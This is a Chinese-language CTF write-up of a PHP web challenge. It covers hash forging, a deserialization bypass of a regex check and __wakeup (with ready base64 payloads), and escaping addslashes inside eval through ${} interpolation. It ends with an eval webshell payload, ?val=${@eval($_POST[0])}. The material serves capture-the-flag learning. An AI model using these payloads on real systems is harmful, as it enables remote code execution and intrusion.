Hash

url参数

index.php?key=123&hash=f9109d5f83921a551cf859f853afe7bb

you are 123;if you are not 123,you can get the flag<br>

<!--$hash=md5($sign.$key);the length of $sign is 8
  • cmd5解一下这个hash:kkkkkk01123(不知道爆破要多久?)
  • 随便构造一个key比如456
<?php
echo md5("kkkkkk01456");//2a5414055268d6f1f82288af38e5ce4e
?>
  • 提交一下,得到提示Gu3ss_m3_h2h2.php
index.php?key=456&hash=2a5414055268d6f1f82288af38e5ce4e

反序列化绕过

Gu3ss_m3_h2h2.php源码

<?php 
class Demo { 
    private $file = 'Gu3ss_m3_h2h2.php'; 

    public function __construct($file) { 
        $this->file = $file; 
    } 

    function __destruct() { 
        echo @highlight_file($this->file, true); 
    } 

    function __wakeup() { 
        if ($this->file != 'Gu3ss_m3_h2h2.php') { 
            //the secret is in the f15g_1s_here.php 
            $this->file = 'Gu3ss_m3_h2h2.php'; 
        } 
    } 
} 

if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else { 

        @unserialize($var); 
    } 
} else { 
    highlight_file("Gu3ss_m3_h2h2.php"); 
} 
?>
  • 构造反序列化字符串

<?php 
class Demo { 
    private $file = 'Gu3ss_m3_h2h2.php'; 

    public function __construct($file) { 
        $this->file = $file; 
    } 

    function __destruct() { 
        echo @highlight_file($this->file, true); 
    } 

    function __wakeup() { 
        if ($this->file != 'Gu3ss_m3_h2h2.php') { 
            //the secret is in the f15g_1s_here.php 
            $this->file = 'Gu3ss_m3_h2h2.php'; 
        } 
    } 
} 

$a = new Demo("f15g_1s_here.php");
echo serialize($a)."\n";
echo base64_encode(serialize($a));
?>
  • 这里如果直接打印字符串有有一个奇怪的输出:
    O:4:”Demo”:1:{s:10:NULDemoNULfile”;s:16:”f15g_1s_here.php”;}

有两个NUL(%00)字符导致对整个字符串操作起来很麻烦,复制的时候会被截断。后来知道这个NUL字符是对类中private这种私有成员的序列化后的一个标记。所以最好的办法就是给字符串转成base64然后在burp里的编码工具操作,可以转成ascii和修改十六进制。

这里有更奇怪的实验,我先把file的属性改成public,生成一个序列化字符串,然后我再发file的属性改回private,然后用刚才那个字符串反序列化后居然生成可两个对象。(待讨论)

  • 绕过正则匹配
preg_match('/[oc]:\d+:/i', $var);
  1. [xyz] 字符集合。匹配所包含的任意一个字符。例如,“[abc]”可以匹配“plain”中的“a”
  2. :就是冒号
  3. \d是匹配一个数字字符相当于[0-9]
  4. +匹配前面子表达式一次或多次

所以这个其实匹配了序列化字符串开始的部分O:4:
尝试了O:0x4:失败
最后用O:+4:绕过

O:+4:”Demo”:1:{s:10:NULDemoNULfile”;s:16:”f15g_1s_here.php”;}

  • 绕过__wakeup()方法

修改序列化字符串中对象的个数,使其不正确即可

O:+4:”Demo”:2:{s:10:NULDemoNULfile”;s:16:”f15g_1s_here.php”;}

  • base64编码后提交(burp工具里改)

从最早没有修改过的base64入手

Tzo0OiJEZW1vIjoxOntzOjEwOiIARGVtbwBmaWxlIjtzOjE2OiJmMTVnXzFzX2hlcmUucGhwIjt9

改完如下,提交得到f15g_1s_here.php源码

TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czoxNjoiZjE1Z18xc19oZXJlLnBocCI7fQ==

绕过addslashes

f15g_1s_here.php源码

<?php 
if (isset($_GET['val'])) { 
    $val = $_GET['val']; 
    eval('$value="' . addslashes($val) . '";'); 
} else { 
    die('hahaha!'); 
} 
?>
  • 分析最后会拼出一个$value=”xxxx”;的php语句来执行
  • addslashes()这个方法会在单引号(’)、双引号(”)、反斜线(\)与NUL(NULL字符)前添加反斜杠。
  • 想用宽字节把双引号逃逸出来,然后就可以命令注入了。类似%df%22phpinfo();//这种,发现并没用。

php黑魔法之双引号

这里其实用到一个php的黑魔法就是在双引号包含的字符串中运行一个函数。例子如下:

<?php
$a = 'hello';
echo "$a";
?>

这里会输出hello,由于双引号的包裹可以导致$符号后面的字符被理解为变量,而打印出变量内容。单引号无效。


<?php
$a = 'hello';
$$a = 'world';
echo "$a";
echo "$$a";
?>

输出为hello$hello,说明双引号中的连用的$符号只能被解析一次,不能被嵌套。


<?php
$a = 'hello';
$$a = 'world';
echo "$a";
echo "${$a}";
?>

输出为helloworld,这里用大括号将$符号进行隔开,使其可以被嵌套解析。这里大括号的作用是在变量间接引用中进行定界。


<?php
$var="${phpinfo()}";
?>

那么问题来了,这里为什么会执行phpinfo()呢?

  • 首先双引号包裹并存在$符号,于是$等着被解析成变量
  • 存在大括号定界,$符号的的变量名就是{}中的内容了
  • 但是大括号里是一个函数,于是该函数的返回结果才是$认为的变量名(php就是这么奇怪),于是函数被运行。

综上php双引号中可以直接执行函数!将函数用${}包裹即可!

//最后这题payload如下,然后菜刀
?val=${@eval($_POST[0])}